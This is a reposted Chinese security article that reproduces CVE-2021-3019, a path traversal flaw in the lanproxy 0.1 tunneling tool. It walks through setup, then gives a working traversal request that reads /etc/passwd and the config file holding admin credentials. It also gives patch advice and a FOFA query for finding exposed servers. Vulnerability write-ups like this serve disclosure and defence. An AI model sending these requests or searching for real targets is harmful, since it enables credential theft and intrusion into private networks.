前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Lanproxy路径遍历漏洞复现

Lanproxy路径遍历漏洞复现

作者头像
FB客服
发布2021-03-09 14:47:28
1.1K0
发布2021-03-09 14:47:28
举报
文章被收录于专栏:FreeBuf

lanproxy配置过程

lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议,可用于访问内网网站、本地支付接口调试、ssh访问、远程桌面等等,而且带有Web在线管理面板,添加端口配置十分简单。目前市面上提供类似服务的有花生壳、TeamView、GoToMyCloud等等,但要使用第三方的公网服务器就必须为第三方付费,并且这些服务都有各种各样的限制,此外,由于数据包会流经第三方,因此对数据安全也是一大隐患。

我一直都在使用lanproxy工具进行内网穿透,但是在前两天lanproxy却爆了一个路径遍历漏洞(CVE-2021-3019)。该漏洞可以读取服务器上的任意文件,甚至可以可直接获取到lanproxy配置文件,从而获取内部网连接的凭据登录lanproxy管理后台面板直接进入内网操纵内网主机。

该漏洞构造非常简单,下面我将演示如何搭建lanproxy内网穿透,并进行该漏洞的复现。

lanproxy下载:

项目地址:https://github.com/ffay/lanproxy

或直接下载发布包 https://file.nioee.com/d/2e81550ebdbd416c933f/

服务端配置

lanproxy的服务端应安装在一个具有公网IP的服务器上。

拉取源码,运行 mvn package,打包后的资源放在distribution目录中,包括client和server

或直接下载发布包 https://file.nioee.com/d/2e81550ebdbd416c933f/

这里我们直接下载发布版。将下载的服务器端程序的发布包 proxy-server-0.1.zip解压后放置在公网vps上。然后进入到proxy-server-0.1/conf目录编辑修改服务器端配置文件config.properties,config.properties的配置参考如下:

代码语言:javascript
复制
server.bind=0.0.0.0#与代理客户端通信端口server.port=4900#ssl相关配置server.ssl.enable=trueserver.ssl.bind=0.0.0.0server.ssl.port=4993server.ssl.jksPath=test.jksserver.ssl.keyStorePassword=123456server.ssl.keyManagerPassword=123456#这个配置可以忽略server.ssl.needsClientAuth=false#WEB在线配置管理相关信息config.server.bind=0.0.0.0config.server.port=8090config.admin.username=admin  # WEB在线配置管理面板登录用户名config.admin.password=657260  # WEB在线配置管理面板登录密码

配置完后运行lanproxy:

代码语言:javascript
复制
cd proxy-server-0.1/binchmod +x startup.shnohup ./startup.sh &

若公网服务器为Windows系统,则只需运行startup.bat程序。

然后我们访问vps的8090端口,使用上面配置中配置的用户名admin和密码657260进行登录即可进入lanproxy的WEB管理面板:

我们可以在添加客户端选项中添加一个需要进行映射的内网主机,如下图填写客户端名称和随机生成客户端秘钥后点击提交即可添加一个客户端:

这里的客户端密钥在之后配置客户端时会用到。

客户端配置

客户端下载我们同样使用发布包:https://seafile.cdjxt.net/d/2e81550ebdbd416c933f

客户端一般安装在一个内网的Linux服务器或内网Windows电脑上。并且需要具备java1.7及以上的环境。

我们在内网客户端Linux主机上下载lanproxy的客户端程序 proxy-java-client-0.1.zip,同样还是进入到proxy-java-client-0.1/conf目录编辑修改客户端配置文件config.properties,config.properties的配置参考如下:

代码语言:javascript
复制
#与在proxy-server配置后台创建客户端时填写的秘钥保持一致;client.key=8dfeb0db68c2400a8c0d30395abb65e2ssl.enable=truessl.jksPath=test.jksssl.keyStorePassword=123456#这里填写实际的proxy-server地址;没有服务器默认即可,自己有服务器的更换为自己的proxy-server(IP)地址#server.host=lp.thingsglobal.orgserver.host=47.xxx.xxx.72#proxy-server ssl默认端口4993,默认普通端口4900#ssl.enable=true时这里填写ssl端口,ssl.enable=false时这里填写普通端口server.port=4993

配置完成后运行lanproxy客户端:

代码语言:javascript
复制
cd proxy-java-client-0.1/binchmod +x startup.shnohup ./startup.sh &

如果客户端是Windows系统,则直接双击bin目录下的startup.bat即可。

此时,便可以在服务端控制面板的配置管理中对内网主机进行代理配置了:

如上图所示,我们将内网主机Debian的22端口映射到了公网vps的2222端口上,也就是说我们访问公网vps的2222端口就相当于访问内网主机Debian的22端口。如下,我们通过公网vps的2222端口来通过ssh连接内网主机:

代码语言:javascript
复制
ssh root@47.xxx.xxx.72 -p 2222

如上图所示,连接成功。

漏洞复现

该漏洞可以读取服务器上的任意文件,甚至可以可直接获取到lanproxy配置文件,从而获取登录用户名与密码登录lanproxy管理后台面板直接进入内网操纵内网主机。

影响版本

  • lanproxy 0.1

我们访问lanproxy的控制面板,抓包并构造恶意请求,读取目标主机上的任意文件:

代码语言:javascript
复制
GET /../../../../../../../../../etc/passwd HTTP/1.1
Host: 47.xxx.xxx.72:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Connection: close

如上图所示,读取成功。

下面我们读取lanproxy的config配置文件:

代码语言:javascript
复制
/../conf/config.properties

如上图所示,读取成功。

我们利用读取到的配置文件中的用户名和密码,可直接在管理后台进行登录,从而访问内网,如下图所示,成功登录:

修复建议

建议禁止将lanproxy管理面板对外部开放。

目前lanproxy厂商已发布升级补丁以修复漏洞,补丁获取链接:https://github.com/ffay/lanproxy/commits/master

在fofa上用如下fofa语法搜索暴露在公网上的lanproxy:

代码语言:javascript
复制
header= "Server: LPS-0.1"

如上图所示,总共可以发现2029条数据。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • lanproxy配置过程
    • 服务端配置
      • 客户端配置
      • 漏洞复现
        • 修复建议
        相关产品与服务
        云服务器
        云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档